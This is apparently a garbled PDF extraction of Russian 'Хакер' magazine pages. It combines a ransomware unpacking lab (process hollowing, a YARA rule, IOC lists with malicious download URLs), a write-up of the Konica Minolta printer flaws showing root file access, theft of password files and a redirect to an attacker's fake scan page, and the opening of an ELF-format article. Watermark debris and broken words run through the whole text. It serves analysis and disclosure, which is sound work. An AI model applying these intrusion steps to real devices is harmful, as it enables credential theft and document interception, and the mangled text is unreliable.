Как видно­ из рисунка­ , процесс­ challenge.exe запускает­ дочерние­ процес­ ­сы build2.exe и build3.exe, которые, в свою очередь­ , запускают­ conhost.exe.

Далее­ происхо­ ­дит шифрование­ всех файлов­ , которым назнача­ ­ется рас ­ ширение .shgv. В конце­ каждого­ зашифрован­ ­ного файла­ хранит­ ­ся одинако­ ­ вая структура­ , в которой записаны­ идентифика­ ­тор и данные­ в формате­ base64.

Содер­ жимое­ зашифрован­ ного­ файла­

На данном­ этапе­ мы выявили­ сетевое взаимо­ дей­ ствие­ вредонос­ ного­ файла­ , а также­ обнаружи­ ли­ технику­ внедрения­ в процесс­ Process Hollowing.

Авторы­ вредоно­ са­ часто­ используют­ функции­ Windows API для выделения­ памяти, чтобы­ дальше­ загрузить­ в это место­ полезную­ нагрузку­ , которая будет распаковы­ вать­ исполняемый­ код. Значит­ , наша задача — обнаружить­ этот участок­ кода и выяснить­ , какие привиле­ гии­ ему выдавались­ . Далее мы будем шаг за шагом идти по коду в поисках­ функции­ распаков­ ки­ .

После­ загрузки­ файла­ нажимаем­ F9 и попадаем­ в точку­ входа­ исполня ­ емого­ файла­ .

Точка­ входа­

Нас интересу­ ­ет функция­ VirtualAlloc, основная задача которой — выделение­ памяти в адресном пространс­ ­тве процес­ ­са.

Для этого­ нажимаем­ Ctrl + G, набираем­ VirtualAlloc и переходим­ в этот участок­ кода.

Поиск­ функции­ VirtualAlloc

Ставим­ точку­ останова­ на входе­ в данную­ функцию­ (клавиша­ F2).

Точка­ останова­ на входе­ в функцию­ VirtualAlloc

Спускаем­ ся­ пошагово­ ниже (F8), находим участок­ выхода из данной­ функции­ и попадаем­ на следующий­ участок­ кода.

Участок­ кода передачи­ выполнения­ шелл коду

После­ выхода из функции­ VirtualAlloc в регистре­ EAX 029E0000 хранит­ ся­ адрес выделенной­ памяти. Затем функция­ call 2836512 записывает­ код в выделенное­ адресное пространс­ тво­ , инструк­ ция­ jmp dword ptr ss:[ebp- 4] использует­ ся­ для передачи­ выполнения­ в шелл код. Остановим­ ся­ на этой инструк­ ции­ , щелкнем­ правой­ кнопки­ мыши, выберем переход к карте­ памяти и посмотрим­ , какие права­ используют­ ся­ для выделенной­ памяти по адресу­ ss:[ebp-4].

Права­ доступа­ выделенного­ участка­ кода

Как видно­ из рисунка­ выше, в выделенной­ памяти установ­ ­лены права­ ERW на чтение­ , запись и выполнение­ . Далее мы попадаем­ в участок­ исполняемо­ ­го кода по адресу­ , выделенному­ с помощью функции­ Windows API

VirtualAlloc.

Участок­ шелл кода

Здесь вредонос­ ный­ код получает­ адреса­ функций­ в библиоте­ ках­ user32.dll, kernel32.dll, ntdll.dll.

Получе­ ние­ адресов­ используемых­ WinAPI-функций­ из библиотек­ user32, kernel32, ntdll

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

УРОКИ ФОРЕНЗИКИ

Если­ пролис­ ­тать ниже, то из библиоте­ ­ки kernel32 загружа­ ­ется 16 функций­ :

WinExec, CreateFile, WriteFile, CloseHandle, CreateProcessA,

GetThreadContext,

VirtualAlloc,

VirtualAllocEx,

VirtualFree,

ReadProcessMemory,

WriteProcessMemory,

SetThreadContext,

ResumeThread,

WaitForSingleObject,

GetModuleFileNameA,

GetCommandLineA.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Давай­

поговорим­

о методе, который вредонос­

использует­ , чтобы­ скрывать­

строки­ от исследова­

теля­

, — Stack Strings. Основная идея этого­ метода зак ­

лючается­

в перемещении­

строки­ в стек по одному­ символу­

. Обычно­ для этого­

выделяется­

блок памяти, далее с помощью инструк­ ции­

MOV символ­ помеща ­

ется в выделенную­

область.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После­ этого­ вредонос­

 

вызывает­

функцию­

 

RegisterClassExA,

а

затем

 

 

 

 

 

запутывает­

две строки­ — saodkfnosa9uin и mfoaskdfnoa. Спустись­

ниже

в коде, и увидишь­

описан­ ный­

процесс­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Во время­ поведенческо­

го­ анализа­

мы обнаружи­

ли­ , что после­ запуска­

файла­

создает­

ся­

 

дочерний­

процесс­

, в который передается­

выполнение­

,

а также­ из библиоте­

ки­ kernel32.dll загружа­

ются­

функции­

CreateProcessA,

VirtualAllocEx,

 

 

 

 

 

 

GetThreadContext,

 

 

 

 

WriteProcessMemory,

SetThreadContext и ResumeThread. Значит­ , вредонос­

ный­

модуль использует­

технику­

Process Hollowing.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Так называется­

один из популярных­

методов внедрения­

вредонос­

ного­

кода в память процес­ са­ . Чтобы­ добиться­ результата­ , вредонос­

ное­

ПО уда ­

ляет легитимный­

 

код из памяти целевого­ процес­ са­ и перезаписы­

вает­

это пространс­

тво­ памяти своим­ исполняемым­

 

файлом­ .

 

 

 

 

 

 

 

 

 

 

 

Сначала­

вредонос­

ная­

программа­

создает­

новый процесс­

в приоста­

нов­ ­

ленном режиме CreateProcess с флагом­

CREATE_SUSPENDED (0x00000004)

и CREATE_NO_WINDOW (0x08000000).

 

Основной

 

 

поток

нового процес­ ­са

находится­ в приоста­ нов­ ленном­ состоянии­ и ждет, пока будет вызвана­ фун ­ кция ResumeThread. Затем память целевого­ процес­ са­ отключают­ с исполь ­

зованием­ ZwUnmapViewOfSection либо NtUnmapViewOfSection и содер ­

жимое легитимного­

файла­ заменяется­

вредонос­

ной­ полезной­ нагрузкой­

.

 

 

Теперь­

, когда­ память отключена­

, загрузчик­

выделяет­ новую память

для вредонос­

ного­

 

кода с помощью VirtualAllocEx и использует­

WriteProcessMemory для записи каждого­

из разделов­

вредоно­

са­ в прос ­

транство­

целевого­

процес­ са­ . Далее вредонос­

ный­

модуль

 

вызывает­

SetThreadContext, чтобы­ указать­

точке­ входа­ новый раздел­ кода, который он

записал. В конце­ вредонос­

ная­

программа­

возобновля­

ет­ приоста­

нов­ ленный­

поток, вызывая ResumeThread, чтобы­ вывести­ процесс­

из приоста­

нов­ ленно­

го­

состояния­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Спускаем­

ся­ ниже по коду, используя­ клавишу­

F8, и попадаем­ к следующе­

­

му участку­ кода.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вызов­ функции­ CreateProcessA

В регистре­ ECX содержится­ адрес функции­ CreateProcessA, которая выпол ­

няется­ с параметром­ dwCreationFlags, равным­ 0x08000004.

Далее­ происхо­ ­дит выделение­ памяти с помощью функции­ VirtualAlloc.

Выделе­ ние­ памяти

Память­ выделяется­ по адресу­ 001F0000. Перейдем­ к дампу­ и увидим­ , что он пока пуст.

Дамп выделенной­ памяти

Следующим­ этапом­ вызывается­ функция­ GetThreadContext с целью получить контекст­ потока.

Вызов­ функции­ GetThreadContext

Вызыва­ ется­ функция­ ReadProcessMemory для получения­ дескрип­ тора­ про ­ цесса­ .

Вызов­ функции­ ReadProcessMemory

Происхо­ дит­ вызов функции­ ZmUnmapViewOfSection, которая отключает­ память целевого­ процес­ са­ .

Вызов­ функции­ ZmUnmapViewOfSection

И наконец, выполняет­ ся­ вызов функции­ VirtualAllocEx, чтобы­ выделить память для вредонос­ ного­ модуля.

Участок­ вызова функции­ VirtualAllocEx

Стек вызываемой­ функции­

Вызыва­ ­емая функция­ имеет­ пять аргумен­ ­тов, что мы и видим в стеке­ : дес ­ криптор­ процес­ ­са, указатель­ на адрес области кода, размер­ выделяемой­ области, тип выделения­ памяти и защита памяти для выделенной­ области. Как видно­ из стека­ , параметр 0x00003000 означает­ MEM_COMMIT ( 0x00001000) | MEM_RESERVE (0x00002000). Значение­ 0x00000040 ( PAGE_EXECUTE_READWRITE) говорит нам о том, что в выделенной­ области разрешен­ доступ­ на выполнение­ , запись и чтение­ .

Адрес­ 0x00400000 указыва­ ­ет на адрес, где будет располагать­ ­ся вре ­ доносный­ код. Далее вызывается­ функция­ NtWriteVirtualMemory.

Вызов­ функции­ NtWriteVirtualMemory

Вызов­ происхо­ дит­ со следующи­ ми­ параметрами­ , представ­ ленны­ ми­ в стеке­ .

Значение­ стека­ вызова функции­ NtWriteVirtualMemory

Значение­ 0x00000270 — это дескрип­ ­тор процес­ ­са, 0x00400000 — базовый адрес для записи в указан­ ­ном процес­ ­се, 0x29915A0 — адрес буфера, в котором хранит­ ­ся содержимое­ для записи в адресное пространс­ ­тво про ­ цесса­ , 0x00000400 — размер­ для записи в процесс­ .

Здесь вредонос­ ­ный код записывает­ каждый­ сегмент­ исполняемо­ ­го файла­ в новое адресное пространс­ ­тво. Ниже представ­ ­лено содержимое­ стека­ при каждом­ вызове функции­ NtWriteVirtualMemory.

Запись­ сегмента­ .text

Запись­ сегмента­ .rdata

Запись­ сегмента­ .reloc

Спускаем­ ся­ ниже и видим выполнение­ функции­ WriteProcessMemory, которая использует­ ся­ для записи из буфера в адресное пространс­ тво­ процес­ са­ .

Выпол­ нение­ функции­ WriteProcessMemory

Стек содержит­ следующие­ данные­ .

Значение­ стека­

Значение­ 0x029016EC — это адрес, который содержит­ данные­ для записи. После­ этого­ вызывается­ функция­ SetThreadContext, которая создает­ кон ­

текст для указан­ ного­ потока, и функция­ ResumeThread для возобновле­ ния­ работы нового исполняемо­ го­ файла­ .

Вызов­ функции­ SetThreadContext

Вызов­ функции­ ResumeThread

Перед­ выполнени­ ­ем функции­ ResumeThread мы получим дамп созданно­ ­го процес­ ­са. Для этого­ восполь­ ­зуем­ся плагином­ ScyllaHide. Нажми­ на вкладку­

«Модули → Scylla».

Запуск­ плагина­ ScyllaHide

Следующим­ этапом­ можно­ анализи­ ­ровать распакован­ ­ный код в IDA Pro, которая имеет­ удобный­ плагин­ HexRays для декомпиляции­ кода. Необходимо­

найти­ код генерации­ ключа­ для шифрования­ файлов­ и алгоритм­ шифрования­ , но такое исследова­ ­ние выходит за рамки­ нашей статьи.

На текущем этапе­ нам удалось­ распаковать­ вредонос­ ный­ модуль, мы разобрались­ с техникой­ Process Hollowing в коде. Теперь нужно­ раз ­ работать индикато­ ры­ компро­ мета­ ции­ .

Создадим­ простое­ YARA-правило­ для детектирова­ ­ния вредоно­ ­са. При создании­ сигнатур­ для этого­ семейства­ шифроваль­ ­щиков необходимо­ проана­ ­лизи­ровать множес­ ­тво файлов­ , найти­ общие участки­ кода и строки­ . А для этого­ может пригодить­ ­ся полезный­ плагин­ mkYARA в IDA Pro.

rule detect_ransomware0

{

meta:0

description = "Detect malware ransomware"

autor = "rayhunt454"

strings:0

$s = "gdi32.dll" nocase0

$s1 = "moz\\vidaj.pdb" nocase0

$s3 = "<!<-<C<O<X<^<g<s<|<"

condition:0

uint16(0) == 0x5A4D and all of them0

}

Выпишем­ также­ индикато­ ры­ компро­ мета­ ции­ (IOCs), которые можно­ загрузить­

вLoki Scanner и Suricata.

MD5: a2f33095ef25b4d5b061eb53a7fe6548

SHA1: b38a8cb06507adb966dfdb809403f8f7f64ca534

URLs: https://api.2ip.ua, https://tzgl.org/files/1/build3. exe, http://tzgl.org/fhsgtsspen6/get.php? pid=AD4334DBE387EF198B77CC7408B38C8F&first=false

Domains: api.2ip.ua, kotob.top, tzgl.org

ЗАКЛЮЧЕНИЕ

В этой лаборатор­ ной­ работе мы распакова­ ли­ вредонос­ ный­ файл, исследова­ ­ ли его поведение­ . При динамичес­ ком­ анализе­ разобрали­ технику­ внедрения­

в процесс­ Process Hollowing, разработа­ ­ли собствен­ ­ные индикато­ ­ры компро­ ­ метации­ . Мы выяснили­ , что вредонос­ ­ный файл относит­ ­ся к шифроваль­ ­щикам, главная­ задача которых — зашифровать­ важные­ данные­ , чтобы­ затем пот ­ ребовать выкуп.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

КАК СПЕЦИАЛИСТЫ НАШЛИ УЯЗВИМОСТЬ

И ВЗЛОМАЛИ ПРОШИВКУ МФУ

Валентин Холмогоров

Ведущий редактор "Хакера". valentin@holmogorov.ru

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Уязвимос­ ­ти обнаружи­ ­вают не только­ в операци­ ­онных сис ­ темах и софте­ для компьюте­ ­ров или мобильных­ устройств­ .

Исследова­ ­тели из SEC Consult Vulnerability Lab недавно­ наш ­

ли любопытную­ уязвимость­ в многофун­ кци­ ональ­ ных­ устрой ­ ствах Konica Minolta и расска­ зали­ о том, как на ее исправ ­ ление повлияла­ эпидемия­ COVID-19.

Проблема­ актуаль­ на­ для несколь­ ких­ моделей МФУ Konica Minolta bizhub

ипозволя­ ­ет получить полный­ доступ­ к операци­ ­онной системе­ на чтение­

изапись от имени­ пользовате­ ­ля root. Правда­ , есть нюанс: для этого­ нужно­ иметь непосредс­ ­твен­ный физический­ контакт­ с сенсорным­ диспле­ ­ем МФУ

ивозможность­ подклю­ ­чить к нему внешнюю­ клавиату­ ­ру.

Когда­ речь заходит о принтерах­ , чаще всего­ уязвимос­ ти­ находят в драй ­ верах, сервисных­ программах­ , веб приложе­ ниях­ самого принтера­ или в реализации­ сетевых протоко­ лов­ этих устройств­ . Ребята из SEC Consult пошли­ немного­ другим­ путем и сосредото­ чились­ на железе. Вообще­ , современ­ ный­ лазерный­ принтер­ — это по большому­ счету­ самый обыкновен­ ный­ компь ­ ютер, разве­ что предназна­ чен­ он для реализации­ одной единствен­ ной­ фун ­ кции: печати изображения­ на бумаге. В нем есть устройства­ ввода­ — сен ­ сорный дисплей­ , небольшая­ клавиату­ ра­ , порты­ USB и RJ-45, последова­ тель­ ­

ные интерфейсы­ , а некоторые­

модели даже оборудо­

ваны­

считыва­

теля­

ми­

RFID для аутентифика­

ции­ пользовате­

лей­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

МФУ обычно­ взаимо­ дей­ ству­ ет­ с пользовате­

лем­

через приложе­

ние­

с гра ­

фическим­

интерфейсом­ , которое запущено­ в полноэк­

ранном­

режиме поверх

*nix-совмести­

мой­

операци­

онной­

системы­

, при этом к самой ОС принтера­

пользователь­

непосредс­

твен­

ного­

доступа­

не имеет­ . Все действия­

в системе­

,

которые

приложе­

ние­

 

 

совершает­

 

при нажатии

 

физических­

кнопок­

или экранных объектов­

на

 

сенсорном­

дисплее­

принтера­

, выполняют­

ся­

от имени­ неавторизо­

ван­ ного­

пользовате­

ля­ с ограничен­

ными­

привиле­

гиями­

.

По крайней­ мере, так должно­

 

быть в теории.

 

 

 

 

 

 

 

 

 

 

 

 

 

В своем­ иссле­ дова­

нии­

специалис­

ты­ SEC Consult расска­ зали­

о том, что

при работе с МФУ Konica Minolta bizhub C3300i и C3350i они заметили­ стран ­

ную аномалию­ . А именно­ : внешний­ вид графичес­ кого­ приложе­ ния­ на сен сорном экране­ принтера­ немного­ менялся­ в зависимос­ ти­ от контек­ ста­ нажимаемых­ ими кнопок­ и выбираемых­ меню. Это позволило­ предположить­ , что, помимо собствен­ ной­ программы­ для работы с устройством­ , в МФУ используют­ ся­ и другие­ стандар­ тные­ приложе­ ния­ , входящие­ в комплект­ пос ­ тавки операци­ онной­ системы­ . Для провер­ ки­ этой гипотезы­ исследова­ тели­ подклю­ чили­ к принтеру­ внешнюю­ USB-клавиату­ ру­ и, нажимая разные­ сочета ­ ния клавиш­ , сумели запустить­ на экране­ браузер­ Chromium. Возникло­ подоз ­ рение, что таким образом­ они могут получить и доступ­ к файловой­ системе­ принтера­ , включая­ файлы­ конфигура­ ции­ , сохранен­ ные­ пароли и прочие­ кон ­ фиденциаль­ ные­ данные­ .

«Подопытный­ » Konica Minolta bizhub C3300i — с помощью этого­ дисплея­ и провели­ практичес­ ки­ весь «взлом» (иллюстра­ ция­ с сайта­ secconsult.com)

ПОЛУЧЕНИЕ ДОСТУПА К ФАЙЛОВОЙ СИСТЕМЕ

Дисплей­ на МФУ Konica Minolta, как и на многих­ других­ подобных­ офисных­ устройствах­ , нужен, чтобы­ управлять очередью­ печати, сканиро­ ­вать изоб ­ ражения и изменять­ настрой­ ­ки принтера­ . Для взаимо­ ­дей­ствия с пользовате­ ­ лем Konica Minolta использует­ самописную­ программу­ , но некоторые­ ее фун ­ кции реализова­ ­ны в виде веб приложе­ ­ния. Так, если на сенсорном­ экране­

Minolta bizhub C3300i перейти­ в раздел­ User authentication, нажать кнопку­

Public User Access, затем выбрать­ на открывшемся­ экране­ раздел­ Utility, а затем еще раз Utility, откроется­ встроенная­ справоч­ ­ная система­ принтера­ . Она реализова­ ­на в виде веб приложе­ ­ния, для отображения­ которого­ откры ­ вается­ стандар­ ­тный браузер­ Chromium в полноэк­ ­ранном режиме («режиме киоска­ ») без каких либо панелей, рамок и прочих­ элемен­ ­тов интерфейса­ — исследова­ ­тели определи­ ­ли это по изменению­ внешнего­ оформле­ ­ния при ­ ложения­ .

Веб приложе­ ние­ в МФУ Konica Minolta (иллюстра­ ция­ с сайта­ secconsult.com)

Если­ в этот момент подклю­ чить­ к принтеру­ внешнюю­ клавиату­ ру­ (все МФУ данной­ серии оснащены­ USB-портом­ ) и попробовать­ стандар­ тные­ сочетания­ клавиш­ , то можно­ убедить­ ся­ , что большинс­ тво­ из них занесено­ в «черный­ список­ » и не срабаты­ вает­ . Однако­ , если нажать клавишу­ F12, на экране­ откроется­ консоль­ разработ­ чика­ Chromium — эту функцию­ создатели­ софта­ для принтера­ почему то забанить забыли.

 

 

 

 

 

 

 

 

Консоль­

разработ­

чиков­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь­

 

можно­

открыть вкладку­

 

Filesystem,

нажать

ссылку­ Add folder

to workspace и добавить в консоль­

разработ­

чика­

любую папку­ в файловой­

системе­

принтера­

, и эта папка­ будет доступна­

на чтение­

и запись, посколь­

ку­

Chromium работает­ в этой ОС с привиле­

гиями­

пользовате­

ля­ root. На иллюс ­

трации­

выше исследова­

тели­

из SEC Consult добавили­ в рабочее окружение­

консоли­

разработ­

чика­

папку­ /var/log/nginx/html/.

 

 

 

ПОХИЩЕНИЕ ИНФОРМАЦИИ

В упомяну­ ­той папке­ хранит­ ­ся файл с именем­ ADMINPASS, в котором содер ­ жится пароль админис­ ­тра­тора для терминала­ принтера­ и веб интерфейса­ , причем­ в виде обычного­ текста­ .

Пароль­ админа­ Konica Minolta хранит­ ся­ в pain text (иллюстра­ ция­ с сайта­ sec-consult.com)

Аналогич­ ­ным образом­ можно­ получить доступ­ и к другим­ объектам­ в фай ­ ловой системе­ принтера­ , например­ к файлу­ /etc/shadow, где собрана­ информация­ о паролях для учетных­ записей пользовате­ ­лей. Содержимое­ файла­ зашифровано­ с помощью библиотеч­ ­ной функции­ crypt и потому при желании может быть расшифро­ ­вано без особого­ труда­ .

Доступ­ к /etc/shadow (иллюстра­ ция­ с сайта­ sec-consult.com)

Все это говорит о том, что разработ­ чики­ встроенно­ го­ софта­ для аппаратов­ Konica Minolta не слишком­ заботились­ о назначении­ правиль­ ных­ разрешений­ для файлов­ и папок в используемой­ ими ОС.

С использовани­ ем­ полного­ доступа­ к файловой­ системе­ МФУ злоумыш­ ­ ленник может реализовать­ несколь­ ко­ видов атак. Если принтер­ работает­ в какой либо организа­ ции­ , на его дисплей­ можно­ вывести­ фейковое­ окно авториза­ ции­ для сбора­ паролей от пользователь­ ских­ учетных­ записей. Еще можно­ отправлять­ копии всех отсканиро­ ван­ ных­ документов­ в общую пап ­ ку на SMB-сервере­ , откуда­ впоследс­ твии­ их нетрудно­ забрать­ , если зло ­ умышленни­ ки­ имеют­ доступ­ к сети предпри­ ятия­ или оборудо­ ванию­ .

Иссле­ ­дова­тели, в частнос­ ­ти, предлага­ ­ют такой сценарий­ . Если злодей­ контро­ ­лиру­ет сервер­ или шлюз в сети, к которой подклю­ ­чен принтер­ , он может запустить­ на нем свое веб приложе­ ­ние и с помощью команды­ document.location=[IP-адрес:порт] в консоли­ разработ­ ­чика назначить­

его в качестве­ приложе­ ния­ по умолчанию­ (открывает­ ся­ при нажатии на кнопку­ сканиро­ вания­ документа­ ). На следующем­ рисунке­ показано­ такое поддель­ ­ ное приложе­ ние­ , созданное­ специалис­ тами­ SEC Consult, — на первый­ взгляд его невозможно­ отличить­ от стандар­ тно­ го­ диалогово­ го­ окна, демонстри­ ­ руемого­ принтером­ .

Поддель­ ное­ диалоговое­ окно сканиро­ вания­ документа­ (иллюстра­ ция­ с сайта­ sec-consult.com)

Все отсканиро­ ван­ ные­ на таком скомпро­ мети­ рован­ ном­ МФУ документы­ будут попадать в расшарен­ ную­ папку­ на сервере­ , откуда­ впоследс­ твии­ их без труда­ скачают­ злоумыш­ ленни­ ки­ .

ВЫВОДЫ

Согласно­ представ­ ленной­ исследова­ теля­ ми­ информации­ , уязвимос­ ти­ под ­ вержены­ 46 моделей МФУ Konica Minolta bizhub, а количество­ затронутых­ устройств­ исчисляется­ сотнями­ тысяч по всему­ миру. Инцидент­ был впервые­ выявлен­ в 2019 году, и эксперты­ своевре­ мен­ но­ оповес­ тили­ изготови­ телей­ оборудо­ вания­ о своей­ находке­ . Уязвимость­ с получением­ доступа­ к файловой­ системе­ принтера­ обозначили­ как CVE-2022-29586, возможность­ запуска­

Chromium с правами­ root — CVE-2022-29587, а пароли, хранящи­ ­еся в откры ­

том виде в файловой­ системе­ , — CVE-2022-29588.

Konica Minolta выпустила­ патч для прошив­ ­ки своих­ устройств­ , но с момента­ обнаруже­ ­ния уязвимос­ ­тей (2019 год) до момента­ публикации­ сведений­ о них прошло­ без малого три года. Эксперты­ SEC Consult утвержда­ ­ют, что основной причиной­ такой медлитель­ ­нос­ти стала­ пандемия­ COVID-19: в МФУ Konica Minolta отсутству­ ­ет центра­ ­лизо­ван­ная система­ автомати­ ­чес­кой уста ­ новки­ обновлений­ , поэтому­ для накатывания­ патча­ необходимо­ физическое­ присутс­ ­твие сервисно­ ­го инженера­ . Посколь­ ­ку в период­ пандемии­ очень мно ­ гие компании­ перешли­ на удален­ ­ку, быстро­ обновить­ прошив­ ­ку устройств­ на территории­ заказчика­ во многих­ странах­ стало­ попросту­ невозможно­ . По этой же причине­ очень многие­ МФУ данного­ произво­ ­дите­ля все еще уяз ­ вимы перед подобными­ видами атак — сервисные­ инженеры­ Konica Minolta посетили­ еще не все отдален­ ­ные уголки­ нашей планеты­ .

В любом случае­ самый простой­ и надежный­ способ­ защиты — отключить­ поддер­ жку­ внешних­ USB-клавиатур­ в настрой­ ках­ принтера­ . Как бы то ни было, перед нами — один из довольно­ редких­ случаев­ , когда­ в безопасности­ слож ­ ного техничес­ кого­ устройства­ обнаружи­ вает­ ся­ серьезная­ брешь, вызванная­ архитек­ турны­ ми­ проблемами­ , прежде­ всего­ использовани­ ем­ проприетар­ ным­ софтом­ стандар­ тных­ компонен­ тов­ ОС для организа­ ции­ интерфейса­ с поль ­ зователем­ . Вторая­ важная­ причина­ возникно­ вения­ уязвимос­ ти­ — разработ­ ­ чики уделяли­ недостаточ­ но­ внимания­ правам­ и разрешени­ ям­ доступа­ к кри ­ тически­ важным­ объектам­ файловой­ системы­ . Ну и усугуби­ ло­ проблему­ отсутствие­ центра­ лизо­ ван­ ной­ системы­ обновления­ прошивок­ в МФУ Konica Minolta — из за этого­ исправление­ найден­ ных­ ошибок­ очень растянулось­

во времени­ .

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Евгений Дроботун

Постоянный автор «Хакера»

РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ

ELF-ФАЙЛОВ

Если­ в мире Windows исполняемые­

файлы­

представ­

лены­

в формате­

Portable Executable (PE), то в Linux эта роль отве ­

дена файлам­

в формате­

Executable and Linkable Format (ELF).

Сегодня­ мы заглянем­

внутрь таких файлов­ , немного­

поис ­

следуем­

их структуру­

и узнаем­ , как они устроены­ .

 

 

Сразу­ отмечу­ , что в отличие­ от Windows в

Linux от расширения­

 

файла­

не зависит практичес­

ки­ ничего (за совсем­ небольшим­

исключени­ ем­ ). Тип

и формат­ файла­ определя­ ется­ его внутренним­

содержимым­

и наличием­ тех

или иных атрибутов­

, поэтому­ файлы­ в формате­

Executable and Linkable Format

могут иметь любое расширение­

.

 

 

 

 

 

 

ЧТО НАМ ПОНАДОБИТСЯ

Вообще­ , можно­ позавидовать­ людям, обитающим­ в мире Linux, — как пра ­ вило, в системе­ «из коробки­ » идет большое­ число­ утилит­ и программ­ , которые в Windows необходимо­ где то искать и устанав­ ливать­ дополнитель­ ­ но, да еще и не всегда­ бесплат­ но­ . В нашем случае­ для анализа­ ELF-файлов­

в Linux присутс­ ­тву­ет вполне­ состоятель­ ­ный арсенал­ встроенных­ средств

иутилит­ :

readelf — с помощью этой утилиты­ можно­ практичес­ ­ки полностью­ прос ­ матривать­ все потаенные­ места­ ELF-файлов­ в удобочи­ ­таемом виде;

hexdump — простой­ просмот­ ­рщик файлов­ в шестнад­ ­цатерич­ном пред ­ ставлении­ (конечно­ , до hiew из мира Windows ему далеко, но, во первых­ , он присутс­ ­тву­ет в системе­ по умолчанию­ , а во вторых­ , делает­ это совер ­ шенно бесплат­ ­но);

